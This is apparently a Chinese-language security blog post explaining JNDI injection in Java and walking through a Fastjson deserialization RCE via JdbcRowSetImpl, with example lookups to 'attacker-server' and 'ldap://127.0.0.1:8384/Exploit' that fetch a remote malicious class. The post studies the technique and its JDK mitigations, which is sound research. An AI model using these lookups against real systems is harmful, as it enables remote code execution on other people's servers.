Java安全:JNDI注入

jdlkajflkd
17 min readMay 14, 2020

--

关于JNDI注入的讨论和研究,起源于国外的安全研究员@pwntester在2016年Blackhat的一个议题:A Journey from JNDI/LDAP operation to remote code execution dream.

什么是JNDI

JNDI(Java Naming Directory Interface) 是Java提供的一个通用接口,使用它可以与各种不同的Naming Service和Directory Service进行交互,比如RMI(Remote Method Invocation),LDAP(Lightweight Directory Access Protocol,Active Directory,DNS,CORBA(Common Object Request Broker Architecture)等。

其中Naming Service 是对象和名称绑定在一起,然后可以通过名称去查找相应的对象。

而Directory Service是一种特殊的Naming Service,它允许存储和查找Directory对象,Directory对象和一般的对象不同在于它可以将属性和对象相关联。

下面是官方提供的JNDI 架构图.

使用JNDI的好处

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

另外,如上图,在JNDI的分层结构中,对SPI层和Naming Manager层,JVM在验证从何处加载远程类时的行为是不同。换言之,JVM对于从远程加载类有两种不同的安全级别,分别是SPI级别和Naming Manager级别。

在SPI级别中,如果JVM允许从远程加载类,需要根据不同的服务提供者(如RMI、LDAP、CORBA)来决定是否强制安装Security Manager安全管理器。具体条件如下表:

但是,Naming Manager层放宽了安全限制。解码JNDI命名引用时,始终允许从远程代码库加载类,而没有JVM选项来禁用它,并且不需要强制安装任何安全管理器。这使攻击者可以利用特定的情况来远程执行自己的代码。

几个简单的JNDI代码示例

  • 使用JNDI操作RMI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);

//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());

//通过名称查找对象
ctx.lookup("refObj");
  • 使用JNDI操作LDAP
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);

//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

JNDI动态协议转换

上面的两个例子都手动设置了对应服务的工厂以及对应服务的PROVIDER_URL,但是JNDI是能够进行动态协议转换的。

如:

Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
//ctx.lookup("iiop://attacker-server/bar");

上面没有设置对应服务的工厂以及PROVIDER_URL,JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL

再来看一个例子:

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);

String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通过名称查找对象
ctx.lookup(name);

即使服务端提前设置了工厂与PROVIDER_URL也不要紧,如果在lookup时参数能够被攻击者控制,同样会根据攻击者提供的URL进行动态转换,并覆盖掉事先设置的PROVIDER_URL,将lookup操作指向攻击者控制的服务器。

来看看lookup方法的代码,进入lookup方法,会调用getURLOrDefaultInitCtx方法:

public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}

在getURLOrDefaultInitCtx方法中进行动态转换。

protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}

JNDI命名引用

为了在命名服务或目录服务中绑定Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况。因此JNDI定义了命名引用(Naming References),后面直接简称引用(References)。通过绑定一个引用,将对象存储到命名服务或目录服务中,命名管理器(Naming Manager)可以将引用解析为关联的原始对象。

引用由Reference类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的object factory 类的名称和位置。

Reference可以使用工厂来构造对象。当使用lookup查找对象时,Reference将使用提供的工厂类加载地址来加载工厂类,工厂类将构造出需要的对象。可以从远程加载地址来加载工厂类,这是攻击者关注的点。

Reference reference = new Reference("refClassName","FactoryClassName",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("refObj", wrapper);

当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 引用类,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/FactoryClassName.class 加载工厂类。

所以对于JNDI,不管是RMI攻击向量,还是LDAP攻击向量。攻击过程都可以归纳为下图:

① 攻击者为易受攻击的JNDI的lookup方法提供了LDAP/RMI URL

② 目标服务器连接到远端LDAP/RMI服务器,LDAP/RMI服务器返回恶意JNDI引用

③ 目标服务器解码JNDI引用

④ 从远端LDAP/RMI服务器获取Factory类

⑤ 目标服务器实例化Factory类

⑥ payload得到执行。

另外,要注意的是,针对JNDI注入,后续的JDK版本,对于RMI/LDAP两个攻击向量而言,也做了默认情况的限制:

  • com.sun.jndi.ldap.object.trustURLCodebase 属性在 Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,默认值为false,即不允许LDAP从远程地址加载Reference工厂类。
  • com.sun.jndi.rmi.object.trustURLCodebase 属性在 Oracle JDK 8u113, 7u122, 6u132及以后的版本,默认值为false,即默认不允许RMI从远程地址加载Reference工厂类。

JNDI注入实例:利用JdbcRowSetImpl类攻击Fastjson

关于fastjson的漏洞史,打算后面单独写一篇进行梳理。这里只是举个例说明jndi注入在实际漏洞中的利用。payload如下:

使用 marshalsec 工具快速创建一个LDAP 服务器:

使用Python开启简易的http服务,该服务托管着恶意的类 Exploit.class

执行demo程序,成功利用fastjson反序列化漏洞RCE。

要理解这个payload及攻击的过程。得先了解一下fastjson反序列化的原理。这里使用一段示例代码进行说明:

  • User类,作为被反序列化的对象。这里在其setter/getter方法中都添加了日志打印,只要方法被调用,就会打印日志。
package me.mole.fastjson.bean;

public class User {
private String name; //私有属性, 有getter、setter方法
private int age; //私有属性,有getter、setter方法
private boolean flag; //私有属性,有is、setter方法
public String sex; //公有属性,无getter、setter方法
private String address; //私有属性, 无getter、setter方法

public User() {
System.out.println("call User default constructor method.");
}

public int getAge() {
System.out.println("call User getAge()");
return this.age;
}
public void setAge(int age) {
System.out.println("call User setAge()");
this.age = age;
}
public String getName() {
System.out.println("call User getName()");
return this.name;
}
public void setName(String name) {
System.out.println("call User setName()");
this.name = name;
}

public boolean isFlag() {
System.out.println("call User isFlag()");
return this.flag;
}

public void setFlag(boolean flag) {
System.out.println("call User setFlag()");
this.flag = flag;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '\'' +
", address='" + address + '\'' +
'}';
}
}
  • FastjsonDemo类,main函数所在类,用来演示反序列化的过程。
package me.mole.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import me.mole.fastjson.bean.User;

public class FastjsonDemo {

public static void main(String[] args) {
//序列化
String jsonStr = "{\"@type\":\"me.mole.fastjson.bean.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";
System.out.println("-----------------------------------------------\n");

//通过parse方法进行反序列化,返回的是Object
Object obj1 = JSON.parse(jsonStr);
System.out.println("JSON.parse(jsonStr): ");
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化对象:" + obj1);
System.out.println("-----------------------------------------------\n");

}
}

执行结果如下:

可以看到,在json字符串被反序列化成User类的过程中,会调用User类的默认构造方法,以及其属性对应的setter方法(若setter方法存在的话)。了解到这点后,我们再回头看前面的payload。

payload中的 @type:com.sun.rowset.JdbcRowSetImpl ,这是利用了fastjson中名为AutoType的特性,@type指定fastjson将json字符串反序列化为指定类。所以该payload是让目标服务器后台fastjson将json字符串反序列化为com.sun.rowset.JdbcRowSetImpl 类。这个类是JDK本身提供的,不需要第三方依赖包。所以我们可以通过全局搜索找到com.sun.rowset.JdbcRowSetImpl 类,在该类中找到payload里的dataSource、autoCommit两个属性对应的setter方法,并下好断点:

在FastjsonDemo中 JSON.parse() 处下断点,开启调试:

点击继续执行,到 setDataSourceName() 方法处停下了,在该函数中将传入的 ldap://127.0.0.1:8384/Exploit 赋值给 JdbcRowSetImpl 类的 dataSourceName 属性。

再点继续执行,到 setAutoCommit() 方法处停下,单步调试,可以看到会调用 connect() 方法:

再步入 connect() 方法,可以看到如果 dataSourceName 属性的值不为null时,会执行一个非常熟悉的JNDI lookup()查询操作。并且可以看到, lookup() 方法的值正是我们传入的 dataSourceName 的值 ldap://127.0.0.1:8384/Exploit ,就是说这里会从我们控制的远程ldap服务器中加载恶意Exploit类,最终在目标服务器上成功执行恶意代码。

小结

本文讨论了什么是JNDI,JNDI注入的原理,还通过一个Fastjson反序列化RCE漏洞,来演示JNDI注入的实际应用。可以看到,利用JNDI注入去攻击RMI、LDAP等命名服务和目录服务,比直接在SPI层面去攻击RMI、LDAP要容易得多,比如在上一篇文章Java RMI中提到的:与SPI相比,JNDI没有Java SecurityManager的限制,另外JDK版本的限制也更加宽松。

参考

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

https://docs.oracle.com/javase/tutorial/jndi/overview/

https://paper.seebug.org/1091/

https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html

--

--

jdlkajflkd

A low-level hacker who focuses on vulnerability research.😝